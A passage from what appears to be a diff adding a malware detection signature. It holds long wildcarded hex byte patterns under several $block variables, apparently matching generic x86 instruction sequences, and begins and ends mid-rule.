?? ?? ?? ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF D? 8B ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 4? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 0B ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 5? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 4? 4? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? FF 0? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8A ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 32 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 8B ?? 4? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0B ?? 0F 85 }
+		$block_4 = { BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 32 ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? C1 ?? ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? BB ?? ?? ?? ?? 8B ?? 4? 4? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 33 ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 0F 85 }
+		$block_5 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 